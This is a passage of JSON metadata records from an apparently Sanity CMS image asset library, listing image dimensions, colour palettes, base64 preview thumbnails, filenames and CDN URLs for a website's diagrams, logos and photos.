0e","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#b0b1ca","foreground":"#000","population":0.09,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b0b1ca","foreground":"#000","population":0.09,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc8c9c","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#b96974","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ee6163","foreground":"#fff","population":0.03,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"493cea76289e94ac9807f56b956cda7e59c1cb08-1999x1047.png","path":"images/sczeoy4w/production/493cea76289e94ac9807f56b956cda7e59c1cb08-1999x1047.png","sha1hash":"493cea76289e94ac9807f56b956cda7e59c1cb08","size":365887,"uploadId":"r1i4bF0ye1YqCX0ilwv4AHR6aa68RBHS","url":"https://cdn.sanity.io/images/sczeoy4w/production/493cea76289e94ac9807f56b956cda7e59c1cb08-1999x1047.png"} {"_createdAt":"2022-11-22T10:40:49Z","_id":"image-49733b7646f9f2d3ccf01122f0bd8dcf77ae3b7c-1600x1096-webp","_rev":"bUMlF7B1Xxw34pzcKwpnIc","_type":"sanity.imageAsset","_updatedAt":"2022-11-22T10:41:07Z","altText":null,"assetId":"49733b7646f9f2d3ccf01122f0bd8dcf77ae3b7c","description":null,"extension":"webp","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.4598540145985401,"height":1096,"width":1600},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAOABQDASIAAhEBAxEB/8QAGAAAAgMAAAAAAAAAAAAAAAAAAAMCBAj/xAAgEAABAwMFAQAAAAAAAAAAAAABAAIxAxESBBQhMoFB/8QAFwEAAwEAAAAAAAAAAAAAAAAAAAECA//EABURAQEAAAAAAAAAAAAAAAAAAAAB/9oADAMBAAIRAxEAPwDSOpdiZKSyo4usSPCp57hmQuOYKXTaRybT8W8Qvs6ifUIp9AhBv//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3f4257","foreground":"#fff","population":0.24,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#77440c","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#3f4257","foreground":"#fff","population":0.24,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#aaafcd","foreground":"#000","population":0.15,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f7f0a8","foreground":"#000","population":0.21,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9d8c4c","foreground":"#fff","population":0.11,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#de8018","foreground":"#fff","population":0.07,"title":"#fff"}}},"mimeType":"image/webp","opt":{"media":{"tags":null}},"originalFilename":"kafka-simply-explained-topics-webp-tinified.webp","path":"images/sczeoy4w/production/49733b7646f9f2d3ccf01122f0bd8dcf77ae3b7c-1600x1096.webp","sha1hash":"49733b7646f9f2d3ccf01122f0bd8dcf77ae3b7c","size":58250,"title":null,"uploadId":"kbPomXgCrwuIp81cFPfKs0kTXYljKJoW","url":"https://cdn.sanity.io/images/sczeoy4w/production/49733b7646f9f2d3ccf01122f0bd8dcf77ae3b7c-1600x1096.webp"} {"_createdAt":"2022-06-30T19:58:57Z","_id":"image-49769190435e8c47a2af3fc21dce3460dbecc961-1766x356-png","_rev":"QRl2cGoCgj0FlAhkRrhrxr","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:20:58Z","assetId":"49769190435e8c47a2af3fc21dce3460dbecc961","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"42S?DW054|t:02","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":4.96067415730337,"height":356,"width":1766},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAECAYAAACOXx+WAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAe0lEQVQYlX2OUQoCMQxEe/+z6QnEL0FQUBC2aZO0GZnKLrIWC+8jbeZ10uG04HIXqDkiOswMIoKc8wbnWivcHb13RMQGdicdz4LrQ2H+WWSIYUpIKWXMqjreWms/0m/S7VnwWupoxkXCEMOrYJXsmQr5O1uwwb/g7H7GGz7cOoRmGI25AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#184a80","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#15406f","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#a0a8c6","foreground":"#000","population":0.1,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a0a8c6","foreground":"#000","population":0.1,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a0e3fc","foreground":"#000","population":0.09,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#547eb2","foreground":"#fff","population":0.03,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3080d8","foreground":"#fff","population":0.04,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"49769190435e8c47a2af3fc21dce3460dbecc961-1766x356.png","path":"images/sczeoy4w/production/49769190435e8c47a2af3fc21dce3460dbecc961-1766x356.png","sha1hash":"49769190435e8c47a2af3fc21dce3460dbecc961","size":50331,"uploadId":"l1jrWbEQtwNnzQW5EHtPV9vm32GTEaJu","url":"https://cdn.sanity.io/images/sczeoy4w/production/49769190435e8c47a2af3fc21dce3460dbecc961-1766x356.png"} {"_createdAt":"2022-08-29T14:12:45Z","_id":"image-4988dc3125578cdc0d0247ba6608963dcacc72d8-43x33-svg","_rev":"BBSsdcKfQe4E5jW8Uy2Dnt","_type":"sanity.imageAsset","_updatedAt":"2022-08-29T14:12:45Z","assetId":"4988dc3125578cdc0d0247ba6608963dcacc72d8","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"VL0Cm|f-d.f8e*eOf4ehf5e+g9fQg7fkfne*fRe*flg8","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.303030303030303,"height":33,"width":43},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAPCAYAAADkmO9VAAAACXBIWXMAAAsTAAALEwEAmpwYAAACQ0lEQVQ4jW2TzYvOURTHPzOMCCPEGNSMMMLEeFlMGrNVUt6KxsuIZ8zz/RljNkpYeCnJRiELS7KykVhakZcUUpb+Cvb3q3Of+zzzKLdO9/7Oued7v+d8zw9i1Q0qNpn3BcijKD1B/oXSH+TfyD+R7yHvQKkr51UlZ9rMrpkCFsHKc5F3IT9E6TvyJyq/pPIrlL4gf0a+iTxA3R3UEijBeDtg86UwuQf5CvI35DfINSoPU6U9KF1Efov8HqVx5MUtIoHRWuEMlhMZcDvyM+QPyOeRlzGV/R3Iq1G6ivwV+T5yXxuRdsBCOyelLciRdB15kLrnUHcntZzUhXwE+R3yc+StGexCxFIbYPOVhi1BDtBNyGsbAngIpW6qLNYJlD4iP0XePAvYzrDK7JoWgLuRdyKPIN9FvoNS+IaQHyCHWLdzC6r/ldwEjL3yCuRDyBXyJeRHxUKox6V/r5H3I89vkEhQb5bcYhbO/Nq8UvIU8i3kY8hnkF8g/yjKn83T0D6/9abSs6W2W7wcJe5D7i/KB8MbhVkPlTtbparZ/2ApL0VehDKzzqJ0nBcWi/PyLEBDqO5cXgjxD2BuVwY8iNLewqIfpb42ldcgr2v8OfnOSIn1Iq9EXoVSD0qxh683AKOUSZQmSq/CmuexMtzTxRffYygdRj5a7pxGPoV8PPcbeQb5ZAleRr6GUr0xbxkklK6hFAAHkAOsCJWmUYr8EDB+xRMBOFrKGGy8ks4hDyNvLG2IwR5A3lD2aEvEImdbice9iK3/C+4Vz3Esj1TfAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#303061","foreground":"#fff","population":0.49,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#041d92","foreground":"#fff","population":0.85,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#0768f8","foreground":"#fff","population":5.43,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#043e94","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7eb0fb","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#043e94","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0768f8","foreground":"#fff","population":5.43,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"logo-digital-ocean.svg","path":"images/sczeoy4w/production/4988dc3125578cdc0d0247ba6608963dcacc72d8-43x33.svg","sha1hash":"4988dc3125578cdc0d0247ba6608963dcacc72d8","size":4750,"uploadId":"frEMqql3jyxPwLHJ1ew1pxwJLNfR8qUR","url":"https://cdn.sanity.io/images/sczeoy4w/production/4988dc3125578cdc0d0247ba6608963dcacc72d8-43x33.svg"} {"_createdAt":"2023-02-13T17:13:15Z","_id":"image-4989c754caf7831a1c686e66c7557e642737ad46-2000x361-png","_rev":"qBG5W2UzMHRLoCg3nIcjed","_type":"sanity.imageAsset","_updatedAt":"2023-02-13T17:13:15Z","assetId":"4989c754caf7831a1c686e66c7557e642737ad46","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":5.54016620498615,"height":361,"width":2000},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAECAYAAACOXx+WAAAACXBIWXMAAAsTAAALEwEAmpwYAAABDUlEQVQYlWO415nKcmVWO/vZKRvYXhg2sPxiCGJ6pVPF8J09BozRwe/Dkgx/Dksw3DlSy/D/MAPD/8NMDOuP/mfYcfQj446jH5gZrkzvYLvVU8JxP6ea7aNCKssP9lCmdwpFDN+YExi+c0RjGPjniATYwJVH/zP8P8jA8O6IE8OlI3OZzhzZwHrmyEZWhnsdaSyvM21ZP7nYsnyT8mP+zhvK+Jk/neEbQzbDd84orAb+PiLJcP9IEcP/w4wM349oMD08ks9650gtx+sjfmwMP6I5GH76CDL+tFJk/KFmyfBNJJThEsN/hh8ecgzfuSNwGCjB8PmICcP/w3yMP44oszw6ksV250gN+5cjBmwALhdxFemLb10AAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#443c2c","foreground":"#fff","population":0.23,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#2b1211","foreground":"#fff","population":1.38,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#2b1211","foreground":"#fff","population":1.38,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#6d2d2b","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d9a29f","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6d2d2b","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b64c48","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"bg-light-pattern-square-side.png","path":"images/sczeoy4w/production/4989c754caf7831a1c686e66c7557e642737ad46-2000x361.png","sha1hash":"4989c754caf7831a1c686e66c7557e642737ad46","size":7399,"uploadId":"J4x48ScEexr4i5mUioZrGk0Egpw4tdfk","url":"https://cdn.sanity.io/images/sczeoy4w/production/4989c754caf7831a1c686e66c7557e642737ad46-2000x361.png"} {"_createdAt":"2022-06-30T20:00:01Z","_id":"image-498c6b2376689c16244c3d4a166114cde4ac64eb-1187x345-png","_rev":"waESC1SXj0AdlOPdeM3yrC","_type":"sanity.imageAsset","_updatedAt":"2023-02-20T09:08:10Z","altText":"Pizza orders topic info","assetId":"498c6b2376689c16244c3d4a166114cde4ac64eb","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"D7S~#DxuM{%MWB_NRjRjayay","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.4405797101449274,"height":345,"width":1187},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAGCAYAAADDl76dAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAgElEQVQYlY2P2w7DMAhD+f+/7boVYiCeqFop67LLwxG2EptElvXO5bbysSmtYQ4Orvr0DdTCGkXNuFWZGR0gALYGwp0ewYj8C4/YkQqqKpsZE2Acpe7OzM7eP5MTLRWswirpmTt54QzF4GtGxIuuKaN5e8GkYPSzM/n2pdmCX3eeZcLZ1bRd5ekAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#841436","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#72112e","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#a1a1a2","foreground":"#000","population":0.32,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b4bcbc","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f2acc1","foreground":"#000","population":0.05,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a1a1a2","foreground":"#000","population":0.32,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#dc225a","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"498c6b2376689c16244c3d4a166114cde4ac64eb-1187x345.png","path":"images/sczeoy4w/production/498c6b2376689c16244c3d4a166114cde4ac64eb-1187x345.png","sha1hash":"498c6b2376689c16244c3d4a166114cde4ac64eb","size":24886,"title":null,"uploadId":"Aoz4YF3a8M6ctA20jycNaeLgFx2zRU5n","url":"https://cdn.sanity.io/images/sczeoy4w/production/498c6b2376689c16244c3d4a166114cde4ac64eb-1187x345.png"} {"_createdAt":"2022-06-15T20:02:05Z","_id":"image-49e7ba9fca45a45961b28376dc179bf8ae9d29f2-1567x844-png","_rev":"QRl2cGoCgj0FlAhkRri0TZ","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:23:43Z","assetId":"49e7ba9fca45a45961b28376dc179bf8ae9d29f2","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MTQ0N^~qcFMI%h%MV?Rjbbxatm%1smIpRj","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAABcRAAAXEQHKJvM/AAACa0lEQVQokTXCW0/TUAAA4P4vY2JIfPPRV0NMjA/GRIwhkigRYwzxFgkwHpAEQUECDp0QZGMb7TZGXHft6La2u3TdpQVWuranPT29YSLxy4dduq5vGAjohmEghDzPu7zi+1ehabYazVKR4tim0D/vSEq7d1GXdObcxHwLuqfisNuRRHE4HDqO41/xvEvf812332psflp4NTG+MDcfjRMUzVTqAtNTahLAPBtZijw8O5NlWVVV7T8DABshG8JKJvVx/MHD27eejT1aXFyKRGN/ciW6KdV6GmYjW5blfl8URbHf77MsS/3DMMyFfIGA3sjiwXdPV19PrAQC87OBldW1KHFEcd1KV8FM02zxPEVR5XKZpmmSJOPx+MHBQSKRqHMNfXCmVol26E1pey68vfVtbWNrK3iYSFO1Jt3oYQAAmqYJgkilUtlsliTJZDKJ4zhOENl8QWrXbTYOY9Pl5cfBpdloDCfJHJnLl+lahW1hEEJBEGiaZhiGb7V4nue4OstxNZZjuaYkNA0WN2PTJ4E7e8sfsmS+WCim0+lCscQ0eMz1PAgtAAzDNCG0TAgBMDQdDDVwoQJJkrrl5CA+09l4chJZrxaKx4lkJBzOkLlGu4c5nu+4vu16tush17Ns17QcYNqagRTdYptCZOcHsfae/jVTTe1lU0f7u+H931GyQFeFc8y0PdN2TeQayAHI1aGtAkvRLVm3RFk7JI6nJqfG7t99+2J888vnUGjv6/rP/Qier7RybQXTkKtbjmY5GrRV01Z1S9HgAKCBgfhTeeN7aHT03vVrN0ZGbj6ffPlzNxrciR8mM8V6N9NR/wIr4iV1Hw46KgAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#383d4f","foreground":"#fff","population":0.56,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#29160a","foreground":"#fff","population":0.11,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#bfccd3","foreground":"#000","population":3.01,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bfccd3","foreground":"#000","population":3.01,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f2c79b","foreground":"#000","population":1.45,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#649484","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#dc8c45","foreground":"#000","population":2.47,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"49e7ba9fca45a45961b28376dc179bf8ae9d29f2-1567x844.png","path":"images/sczeoy4w/production/49e7ba9fca45a45961b28376dc179bf8ae9d29f2-1567x844.png","sha1hash":"49e7ba9fca45a45961b28376dc179bf8ae9d29f2","size":747289,"uploadId":"BLQAXskb5OFs5hymHXZAssJ7xVU7BqyK","url":"https://cdn.sanity.io/images/sczeoy4w/production/49e7ba9fca45a45961b28376dc179bf8ae9d29f2-1567x844.png"} {"_createdAt":"2022-06-14T14:41:07Z","_id":"image-4a3d6a239f6f7df436bb16edcd20d3067b0fc86d-512x512-png","_rev":"oamrAPLmQLQjd9jh7YpzDK","_type":"sanity.imageAsset","_updatedAt":"2022-06-14T14:41:07Z","assetId":"4a3d6a239f6f7df436bb16edcd20d3067b0fc86d","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eRMaR[_3UHtmd;-;V?W=ozofYQWVrCnhS$XTo#i_aKWBtSj[V?aykW","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":512,"width":512},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAC4jAAAuIwF4pT92AAAEq0lEQVQ4jU3TZ1MbdxDH8XunTiaTOHYyjMuQMeCGMUyCCWBThRBYYEkgoYIq6jr13oUaqFAkhI3fwjdz5ziTB7+5/6PP7N7uCu3br7RGX2mOvtIY3lEffqY+GHF6fUPtaiincjGk1BuQP7si2+yTPu2SqJ4RKzUJ5Wr4UiXcsRxOMY3Qur2jNbqjeXNHQ8ZuqQ9uOB1I4IBK/4JSt0+pe0Xh/BuYOu3IYFQCs1V8ySLuqASmEFqjLzRHX2jcfKY+/I4NKXc7JLJx3M4jHNYDAiE/yXKNTKP7Day0iRQbBDMVvMkiJ9EsjlAKoTn6TPPmlsZwRH0oYQMKrToh/zGmjRlUUz+yPXEPw+IkHrOGeDZHqnZGvNImXKgTSJfxJAqcRDLYgwmE/7DBjQxKlYUDdk623uCZ/w3vzE+E5n4hujhGSPEa0WkgUagQr7QQ8zX8qRKeeA5XOI0tEEf4jkltSslW8vgP10krn9PTznJjeMdIP8/lpzeUlZNEdCtEE3Fi5SZiroIvmccdzeAMJbD6IwjfJypP9XpAMhvHv7dAVT3NyLzEF+sKt6Yl+vsz5NfGCW3PEQ56iRZrBDMFPLEULjGOPRDB4g0i/H89pKmmckm86gUymxNUVS8pbr2gpnxJbmUc7+x93O8nEB1GxHQObyKNMxTG5g9i8fgxujwIElS9GlC9HMhgvphF/LRMcm2czMo4scUn5D+Mk116TPjPh8RWJ4latfijMZxiBIvHh9HlxmB3cmi1I1QvpcUdyKlK30qRonGLmuoF7d1XNLZecLr2jPLyUwp/PyKveE3UquMkFMLi9aO3O9BZrGhMZvaPTAiVixvK/SHl3oByf0C11eZUtNM8XKKjnqG1+ZzCu8ckZh4Qm7lPbGWSgFmD3efD4HCiMZlQ6/XsHuhQabUI5d6QUndA8d9IF1GulCg5NZR3pimvjJOTwLe/E5l9gLjxEs/xARa3B93xMWr9ISrtJ5T7ahTqjwgSUuhcy2clpzMg3zgj7bWQ3J4mtzZOZe0Z+cUnxBbG8G3P4rSbMJ240ZjNcmXK/T02P6pY31EiSEj+7JJcW8qF/M7W2yQDTiI7s4SWHiEujOGf+xXHzC8Yl6cwGjQcOb+1u6PTsrX3kY2dbVaVCgQJkg5eSq7VJ9vqkay1iMajhPUK3Mt/cDT9M7qpe2imfmB7eoxd1QaHVitas5kdrQaFepc11RYfFOsIEpRp9si1euTPpHeHWKVFMF3E47Dg2v4L68JTDG8fsvfqPiuvn6LY2uDAakVvt7F3ZECx95EV5SbLG6sIEpZv9yl0Lsif98m0OsSrbQK5KlaPj6N9JTbFHLb3k2jmJ9hcnmdXp8N44sbi9WFwOuXBSBUurn2Q/uEFpd4Vxe4lubOeXGG81kIsnnISS2NyODEf7mPdXcWwu45Wr8fo9mIXI9hCYSy+AHqHgx2dhvdSy6X+NcXeNfnzCzKtHmm55Qbh4qmM+tJFXGIUq8OB2WbDFhBxxZK4YgnsYhSzL4DB5UZjMcurIxS61+Q7V2TaF6SbXZL1cyLlOmKhSqRUlxPMlXFFU9iCEblqTzIjozYxypHHj9bmRGM5Rm3Q8w8uDwV4zormPgAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#47382f","foreground":"#fff","population":0.37,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#805238","foreground":"#fff","population":1.64,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#dda181","foreground":"#000","population":8.68,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#ccdce3","foreground":"#000","population":7.83,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f4b091","foreground":"#000","population":0.87,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9f7052","foreground":"#fff","population":3.74,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#dda181","foreground":"#000","population":8.68,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"joel_hiltunen.png","path":"images/sczeoy4w/production/4a3d6a239f6f7df436bb16edcd20d3067b0fc86d-512x512.png","sha1hash":"4a3d6a239f6f7df436bb16edcd20d3067b0fc86d","size":393550,"uploadId":"It0A4TdN5n5DvbnLH1DfToijYFyxFB4V","url":"https://cdn.sanity.io/images/sczeoy4w/production/4a3d6a239f6f7df436bb16edcd20d3067b0fc86d-512x512.png"} {"_createdAt":"2024-01-10T11:08:59Z","_id":"image-4a4ea4a5393a1a1e12d9101d970acfb3b152475a-1634x431-png","_rev":"BPcLfKU310hDl60jaPfboK","_type":"sanity.imageAsset","_updatedAt":"2024-01-10T11:08:59Z","assetId":"4a4ea4a5393a1a1e12d9101d970acfb3b152475a","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.7911832946635733,"height":431,"width":1634},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAFCAIAAADKYVtkAAAACXBIWXMAAAsTAAALEwEAmpwYAAAA0ElEQVQYlXXNy26DMBQEUP//75BAcJO6UhK6yLZSd0kDGNsYEFxfv8imoqlQN5WORrMZDaF0S+mG0iTLkk2aJdsldnuWs3POit3hnO6P6cuvnBXsdHk9Xejbe84Kwqtbw+9S1kLUZXX/un6Wt4+al41sG6m5bLlYypNQndKD0oNse6E64hx67+IcY4wGpkGrsVdgAJ23PqAL1ocQ5zCvHiti0CCitdYaHFutq6qX0oCxPrgQn3ycV8ssPvwPMsEEAIhoAEbd9Y0Ydeec+/vwn2/KUA7cwly9rQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#333f52","foreground":"#fff","population":9.36,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#14142c","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#333f52","foreground":"#fff","population":9.36,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d6cca9","foreground":"#000","population":0.56,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f7efcf","foreground":"#000","population":1.39,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9f7c5e","foreground":"#fff","population":0.06,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e8c160","foreground":"#000","population":0.32,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"track-table.png","path":"images/sczeoy4w/production/4a4ea4a5393a1a1e12d9101d970acfb3b152475a-1634x431.png","sha1hash":"4a4ea4a5393a1a1e12d9101d970acfb3b152475a","size":21112,"uploadId":"DBk4e8a9sCwv9v21S6XUlSVNa2PEFQq3","url":"https://cdn.sanity.io/images/sczeoy4w/production/4a4ea4a5393a1a1e12d9101d970acfb3b152475a-1634x431.png"} {"_createdAt":"2024-06-10T15:22:53Z","_id":"image-4a58dd451d982567fb355c9f2bbf4948d9995005-2782x1542-png","_rev":"rE19qWqXtwbnyVyXl5Pfv0","_type":"sanity.imageAsset","_updatedAt":"2024-06-10T15:22:53Z","assetId":"4a58dd451d982567fb355c9f2bbf4948d9995005","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M9Q,agV{-DOB~D00xIV@IU-W00=|xaX4t7","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8041504539559015,"height":1542,"width":2782},"exif":{"PixelXDimension":2782,"PixelYDimension":1542,"_type":"sanity.imageExifMetadata"},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABYlAAAWJQFJUiTwAAACPElEQVQokWWRW08TQRSA9+8qknilQrgURBLwyegDTyb4wJsxxviAplgaWigISIsF6f0O9N7dnZ3Z3fKZXSwp+vBlbme+OeeMNrH8hplXbwmuvCawsMzY5Dz3AnM8mJzn0fQiz2ZfEggu8Ty4xMTcIk9mXvg8nlng4fQC41Pz3J8MMhaYZfzpFNpB8ozDRIr4ziEboSgfQlt8jsaI/DgifpQkfpjgx/EJB4lfhPcPWA+HWP36xeddaIP18CYft7f5thMnuruHJpVLv61TSxZI7f8mcnrGdilDsdtGF5KeLjCExBSKs8s6a4kYK/ENVn9G+JQ+Zr9eJN9p0TZNhFRo0h5QLLc4O8hSy9TJXF4SLp1zeFGiKyykdLCkjW5anNQrvE/GWDvZIVJOk+k0aAuBsB1sd4DjXqMJ6ZLMNYmnarS6Fj1psVvNE61k/eDBAJTtopuSXPOKvWqeTLuBrmxs9xp3wA3u9Y1Q2i7n1S6RVJ2TSpNU44LvfoZldKV8oe0MENKmpRs0DB3LdnyJJ3D+QbOUQ7NncVxospUusJk/Z7eao9rvoZybMrwMhWVjWgqhbJTj+ns+zsB/0McTmkLiSTuGpNTu+g2+MgyEcm4DvfOubtLSdQypbmVSOXfmXrWaN/EujaY97McQ78Jlv8/pVY263r+NHx2HYm1U5m0YpkWnZ9A3hL8enlV7XWLlrP8hciga5W81d4SeJFuocJQ4JZ0rohsWjtd855pyp81W8ZzT5gWGshFeX5XzH38AwIsgkazjqLIAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2b3f4f","foreground":"#fff","population":0.13,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#2c7464","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#56b298","foreground":"#fff","population":4.3,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c9a0b4","foreground":"#000","population":0.17,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9ae3ce","foreground":"#000","population":0.19,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#56b298","foreground":"#fff","population":4.3,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#34b48c","foreground":"#fff","population":0,"title":"